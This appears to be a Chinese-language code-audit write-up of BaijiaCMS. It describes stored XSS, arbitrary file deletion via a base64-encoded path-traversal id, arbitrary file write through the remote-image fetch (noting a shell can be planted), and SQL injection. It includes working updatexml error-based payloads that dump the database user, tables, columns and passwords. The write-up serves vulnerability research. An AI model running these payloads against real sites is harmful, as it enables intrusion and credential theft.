百家CMS代码审计
百家CMS代码审计
1. XSS漏洞
1. 黑盒测试
- 在店铺管理处添加店铺
- 在店铺名称和绑定域名输入XSS代码,接着提交保存
- 返回后弹窗,XSS代码已成功执行,存在XSS漏洞
1. 代码审计
- 根据路由找到店铺管理代码:
路由介绍:
index.php?mod=site&act=manager&do=store&op=post&beid=1
act:manager代表manager目录;
do:代表目录下的php文件;
op:代表文件中具体的语句分支
锁定到该php文件:
system\manager\class\web\store.php
2. 通过抓包查看传递参数:
可以看到这里主要传递了前端输入的smane和website,这两个字段我们外部可控,接着在代码中寻找:
$data=array('sname'=>$_GP['sname'],'is_system'=>0,
'isclose'=>intval($_GP['isclose']));
$data['website']=$_GP['website']; // 接受前段传递过来的website参数
最后通过Sql语句插入数据库:
3. 分析到这里,我们知道数据在插入数据之前未作过滤,现在就看输出时是否做过过滤了
4. 找到输出页面查看:
路径:system\manager\template\web\store_display.php
5. 可以看到,程序直接输出,无任何过滤,所以存在XSS漏洞
2. 任意文件删除漏洞
1. 黑盒测试+代码审计
- 在备份与还原中,可以删除之前备份的数据库
- 我们通过抓包来找到该路由:
请求路径:
/baijiacms-master/index.php?mod=site&act=manager&do=database&op=delete&id=MTY2NTkxODU4Nl9LNTNxMzc4Sw%3D%3D&beid=1
这里参数id为base64编码,我们解码发现它代表的就是备份文件1665918730_Cw00T0zg
3. 审计此时代码,发现后台接收前端传递的参数id,这里id外部可控,另外发现这里引用了rmdirs()函数,最后这里对删除的文件是否为文件夹做了一个判断,若是文件夹,则OK,若单纯的文件,则无法删除
4. 查看引用的rmdirs()函数,发现使用了删除函数rmdir(),所以这里我们可以手动构造其他文件来删除
5. 在config目录下新建test,然后将id换为…/(base64编码)测试:
6. 再次查看tets文件,现在已经被删除,任意文件删除漏洞验证成功
3. 任意文件写入漏洞
1. 黑盒测试+代码审计
- 该cms多出存在图片上传功能,这里有一个提取网络图片的功能,我们更具路由来找到该代码
- 该处调用了函数fetch_net_file_upload(),我们来找到这个函数:
这里使用了file_get_contents()函数来将远程文件中,之后通过file_save()函数保存
file_get_contents():把整个文件读入一个字符串中,所以我们在VPS上放入一个文件,让其写入。 - 上传之后这里直接返回了路径,我们测试一下试试:
- 可以看到,文件已成功写入,这里直接可以写shell
4. Sql注入漏洞
1. 黑盒测试+代码审计
-
在店铺管理处,可以搜索店铺名称:
-
我们找到这里的路由,查看一下代码:
这里的$_GP[‘sname’]通过外部输入接收,然后直接拼接到Sql语句中,造成了Sql注入,我们先将Sql语句打印出来看看:
"SELECT store.* FROM `baijiacms_system_store` store where store.`deleted`=0 AND store.sname LIKE '%1'%' LIMIT 0,20"
- 可以看到,我们输入的1’已经被带入Sql语句了,所以此处存在Sql注入漏洞
payload:1' and updatexml(1,concat(0x7e,user(),0x7e,database()),1)#
6. Sql注入之updatexml报错
updatexml()函数:是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值
语法: updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称
第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
updatexml报错注入
- 爆数据库信息
1’ and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)# - 爆当前数据库表中信息
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # - 爆表中字段信息
1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),0x7e),1) # - 爆数据库内容
1’ and updatexml(1,concat(0x7e,(select group_concat(user,password) from dvwa.users),0x7e),1) #